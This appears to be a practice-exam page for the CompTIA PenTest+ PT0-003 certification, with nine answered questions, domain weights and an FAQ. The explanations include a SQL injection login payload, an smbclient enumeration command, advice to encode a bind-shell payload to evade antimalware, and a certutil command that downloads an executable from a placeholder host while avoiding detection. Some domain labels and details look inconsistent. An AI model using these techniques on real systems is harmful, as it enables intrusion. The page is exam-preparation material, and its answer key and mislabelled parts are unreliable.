CompTIA PT0-003 Practice Exam Questions & Answers
CompTIA PT0-003 Exam Details
Key details for this exam, checked against the published exam outline
- Exam Code
- PT0-003
- Full Name
- CompTIA PenTest+ Exam PT0-003
- Issuing Body
- CompTIA
- Question Format (Our Bank)
- Multiple Choice, Hotspot, Drag & Drop
- Delivery
- Online proctored or at Pearson VUE test centre
- Eligibility
- No formal prerequisites. CompTIA recommends 3-4 years of hands-on penetration testing experience and Network+ and Security+ or equivalent knowledge
- Validity
- 3 years
- Full Question Set
- 393 questions Get All Questions
Free PT0-003 Practice Questions
Answer each question, then see the correct answer and why it is right
Question 1 Domain 4 Attacks and Exploits
Burp Suite is used by a penetration tester to transmit the following request:
POST /loginPage HTTP/1.1
Host: 10.10.100.1:443
User-Agent: Mozilla/5.0 (X11; Linux;)
Accept: application/json, text/javascript, *
Cookie: as=ausnHsdyh6aBda
Connection: Close
{"user":"admin", "password":" admin ' or ' "}
Which option most accurately characterizes the action the tester is carrying out?
Option A is the correct answer: SQL injection
The request includes a login attempt with the password value:
admin ' or '
This pattern is typical of a SQL injection test, since the tester places SQL syntax into an input field in order to alter the backend database query. The single quote tries to escape the intended string value, while the OR condition tries to change the logic of the authentication query.
As an illustration, a vulnerable login query could be altered so the condition always evaluates to true, which permits authentication bypass.
B is incorrect because session hijacking involves stealing or reusing a valid session token or cookie. Although a cookie appears in the request, the attack displayed centers on the login input rather than on taking over an existing session.
C is incorrect because brute forcing means repeatedly trying many username or password combinations. The question displays a crafted payload, not repeated credential guessing.
D is incorrect because cross-site scripting means injecting JavaScript or HTML into a web page so it runs in a user's browser. The payload shown is SQL-like syntax, not client-side script code.
Within PenTest+ terminology, this falls under Attacks and Exploits, specifically web application attacks and authentication bypass attempts using SQL injection.
Question 2 Domain 2 Reconnaissance and Enumeration
While conducting an assessment, a pentester intends to list user accounts on Linux hosts through the finger and rwho utilities, but recognizes that these utilities by themselves will fall short of the goal. Which of the following tools would be most suitable for this purpose?
The smbclient tool is used to reach SMB/CIFS resources on a network. It lets penetration testers connect to shared resources and identify users across a network, particularly in Windows environments. Although finger and rwho are more typical on Unix/Linux systems, smbclient offers stronger capability for enumerating users across a network.
How smbclient works:
Purpose: smbclient serves to reach and handle files and folders hosted on SMB/CIFS servers.
Features: Users can explore shared resources, view directory contents, transfer files in both directions, and identify accounts.
Account Discovery:
Syntax: Run smbclient with the -L flag to display available shares and users.
Step-by-step usage: smbclient -L //target_ip -U username
Sample: Listing accounts on a target host.
smbclient -L //192.168.50.2 -U anonymous
Benefits:
Thorough: Returns in-depth details on shares and accounts.
Portable: Works on both Linux and Windows hosts.
Supporting Sources:
Penetration testing guides often describe SMB enumeration as a routine method for finding shared resources and accounts on a network.
Writeups from HTB regularly point to smbclient when listing network shares and user accounts.
Penetration Testing - A Hands-on Introduction to Hacking
HTB Official Writeups
Question 3 Domain 2 Reconnaissance and Enumeration
While the tester is finishing cleanup tasks assigned by the lead tester, which action should the penetration tester take to confirm that reverse shell payloads are no longer executing?
To confirm that reverse shell payloads are no longer executing, the implants themselves must be actively stopped. Here is why option A is correct:
Execute Scripts That Kill the Implant: This makes sure that any reverse shell payloads or malicious implants are actively stopped on the impacted hosts. It is a direct and effective way to clean up after a penetration test.
Shut Down the C2 Listeners: This halts the command and control listeners but does not remove the implants from the hosts.
Revert the Firewall Configuration: This matters for network security but does not directly stop active implants.
Log Out of the Active C2 Listener Sessions: This ends the current sessions but does not guarantee that the implants have been stopped.
Reference from Pentest:
Anubis HTB: Demonstrates the process of cleaning up and confirming that all implants are removed after an assessment.
Forge HTB: Highlights the importance of thoroughly cleaning up and stopping any payloads or implants to leave the environment secure after the assessment.
Get the complete PT0-003 question set
$20$40
Question 4 Domain 4 Attacks and Exploits
A penetration tester has discovered several connections to public LLMs. The client's IT department has not sanctioned every one of them. Which of the following most accurately describes the risk this poses to the client?
The correct answer is A. Unintended leakage of internal information
Using public LLMs without approval creates the possibility that staff will enter confidential company material into outside AI platforms. This material may include internal files, source code, customer records, security configurations, network design documents, incident details, or other private business content.
Since IT has not approved these LLM services, the organization may lack safeguards covering data handling, retention, monitoring, contractual protections, or data loss prevention. The most comprehensive and accurate description of the risk is unintended leakage of internal information.
B is incorrect because disclosure of intellectual property is a possible outcome, but it is a narrower case of internal data loss.
C is incorrect because employee credentials could be exposed, but the question does not point to credential theft or active exfiltration.
D is incorrect because prompt injection is an attack against how an LLM behaves. The scenario describes unauthorized use of public LLM services, not manipulation of an LLM through malicious prompts.
In PenTest+ terms, this falls under Information Gathering and Vulnerability Scanning, specifically identifying unauthorized services, shadow IT, data exposure risks, and AI/LLM-related security concerns.
Question 5 Domain 4 Attacks and Exploits
A penetration tester is going through a SAST scan report. The following finding has been marked as high severity:
Source file: components.ts
Issue 2 of 12: Command injection
Severity: High
Call: .innerHTML = response
On reviewing the source file, the tester sees that the variable response is declared as a constant and is not referenced or used anywhere else in the code. Which of the following describes how the tester should categorize this reported finding?
A false positive is when a vulnerability scanner wrongly reports a security issue that either does not exist or cannot be exploited in the context of the application. Consider the following:
Definition of Command Injection:Command injection flaws arise when user-controllable data reaches an interpreter or command execution context without proper sanitization, enabling an attacker to run arbitrary commands.
Code Analysis:
The response variable is declared as a constant (const), meaning its value cannot change during execution.
The response does not come from user input and is not used anywhere else, so an attacker has no way to affect its contents or build an exploitation path.
Scanner Misclassification:Static Application Security Testing (SAST) tools often flag issues based on patterns (for example, .innerHTML usage) without evaluating where the data originates and how it flows, which leads to false positives.
Final Classification:Because response is static and cannot be altered, the reported issue is not exploitable. Therefore, it is a false positive.
CompTIA Pentest+ Reference:
Domain 3.0 (Attacks and Exploits)
Domain 4.0 (Penetration Testing Tools)
OWASP Static Code Analysis Guide
Question 6 Domain 4 Attacks and Exploits
A Chief Information Security Officer disputes the severity ratings assigned to findings in a penetration test report. Which of the following activities is the most suitable for discussing and settling this disagreement?
Client acceptance is the stage after the report has been delivered, where the client goes over the findings, talks through risk ratings, asks for explanations, and formally confirms or approves the final results. When severity is disputed, the matter should be handled through an evidence-based conversation with the client that considers business impact, exploitability, compensating controls, and the rating methodology.
Peer review is mainly an internal quality-control activity. Goal reprioritization relates to engagement priorities rather than settling the severity rating of a finished report. Root-cause analysis looks into why a weakness exists but does not directly resolve a dispute about how findings are classified.
Verification note: This answer is based on the apparent PT0-003 use of ''client acceptance.'' The exact official wording could not be confirmed from the supplied file.
Reference status: Reporting concepts aligned with PT0-003 covering client review, acceptance, discussion of risk ratings, and final report resolution.
Question 7 Domain 4 Attacks and Exploits
A penetration tester is preparing to insert shellcode for a particular remote executable exploit. The tester wants to keep the payload from being intercepted by antimalware running on the target. Which of the following commands should the tester run to gain shell access?
Using shikata_ga_nai:
This encoder conceals the contents of the payload, which makes it more difficult for antimalware to detect it.
The command defines a bind shell payload (windows/bind_tcp) aimed at Windows with x86-64 architecture.
Why Are the Other Options Incorrect?
B, C: These commands produce payloads without applying an encoder, which raises the chance that antimalware will flag them.
D: This command has nothing to do with generating shellcode; it appears to be an attempt to alter user accounts.
CompTIA Pentest+ Reference:
Domain 3.0 (Attacks and Exploits)
Question 8 Domain 4 Attacks and Exploits
A penetration tester is preparing to run a vulnerability assessment as part of the engagement. The target is an environment made up of a container orchestration cluster. Which of the following tools should the tester use to assess the cluster?
Assessing a container orchestration cluster, like Kubernetes, calls for specialized tools built to evaluate the security and configuration of container environments. Below is a review of each tool and why Kube-hunter is the strongest choice:
Trivy (Option A):
Trivy is a scanner that checks container images and filesystems for vulnerabilities.
Capabilities: Although it does well at finding vulnerabilities in container images, it is not designed to evaluate the security of the orchestration cluster itself.
Nessus (Option B):
Nessus is a broad vulnerability scanner that can evaluate network devices, operating systems, and applications.
Capabilities: It is not built for container orchestration platforms and may overlook issues specific to Kubernetes or other orchestration systems.
Grype (Option C):
Grype is a vulnerability scanner for container images.
Capabilities: Much like Trivy, it concentrates on finding weaknesses in container images rather than judging the overall security posture of a container orchestration cluster.
Kube-hunter (Answer: D):
Kube-hunter is a tool designed specifically to search for security weaknesses in Kubernetes clusters.
Capabilities: It examines the Kubernetes cluster for a broad set of security problems, including misconfigurations and vulnerabilities unique to Kubernetes environments.
Conclusion: Kube-hunter is the most suitable tool for assessing a container orchestration cluster, such as Kubernetes, because it focuses specifically on finding security vulnerabilities and misconfigurations in these environments.
Question 9 Domain 3 Vulnerability Discovery and Analysis
A pentester wants to rely on the built-in binaries of a host to fetch a file from the internet while avoiding detection. Which of the following utilities would the tester most probably employ?
Using certutil.exe to Retrieve Files:
certutil.exe is a built-in Windows tool mainly made for handling certificates, yet it can also be abused to pull files from the internet.
Sample command:
bash
Copy code
certutil.exe -urlcache -split -f http://example.com/file.exe file.exe
Being shipped with the operating system allows it to avoid detection by security products.
Why the Other Choices Fall Short
A (netsh.exe): Handles network settings and does not serve to download files.
C (nc.exe): Netcat does not come with Windows, so it would have to be brought onto the system first.
D (cmdkey.exe): Manages saved credentials and is not meant for retrieving files.
CompTIA Pentest+ Reference:
Domain 3.0 (Attacks and Exploits)
Practice every PT0-003 question in the full set, each one with its verified answer and a detailed explanation
Get Full AccessWhat the CompTIA PT0-003 Exam Covers
Exam domains verified against the Official CompTIA PT0-003 exam guide, last checked November 2026.
Domain 1 Engagement Management
13%Covers planning and scoping penetration tests, communicating with clients, and selecting appropriate testing frameworks that align with legal and compliance requirements. You will need to understand how to structure engagement contracts and produce professional reports with actionable remediation recommendations.
Domain 2 Reconnaissance and Enumeration
21%Focuses on gathering intelligence about target systems through passive and active techniques, including DNS queries, network scanning, and service enumeration. You must be able to use industry tools effectively and adapt scripts to suit specific reconnaissance scenarios.
Domain 3 Vulnerability Discovery and Analysis
17%Requires you to conduct vulnerability scanning, interpret scan results, and understand physical security concepts that may affect penetration testing scope. Analysis of output from reconnaissance and scanning phases helps prioritize which vulnerabilities to target.
Above Practice Question from this Domain: Q9
Domain 4 Attacks and Exploits
35%The largest domain, covering network attacks, authentication attacks, host-based attacks, web application attacks, cloud attacks, wireless attacks, social engineering, and specialized systems. This domain emphasizes hands-on exploitation using appropriate tools and includes scripting to automate attacks.
Domain 5 Post-exploitation and Lateral Movement
14%Involves maintaining access through persistence techniques, moving laterally across network segments, and understanding data staging and exfiltration methods. You must also know proper cleanup and restoration procedures to leave systems in their original state.
PT0-003 Exam FAQ
Common questions about the exam itself
How hard is the CompTIA PenTest+ PT0-003 exam compared to other security certifications?
What background or experience do I need before attempting PT0-003?
Which PT0-003 domain is hardest and how should I prepare for it?
How long should I spend studying for the PT0-003 exam?
What happens on exam day for PT0-003?
What are the retake and rescheduling rules for PT0-003?
How long is the CompTIA PenTest+ certification valid and what renewal requires?
What job role does the PT0-003 certification prepare me for?
How does PT0-003 relate to other CompTIA certifications in the security track?
What major changes did PT0-003 introduce compared to the older PT0-002 version?
Other CompTIA Exams
Free practice questions for more CompTIA certification exams
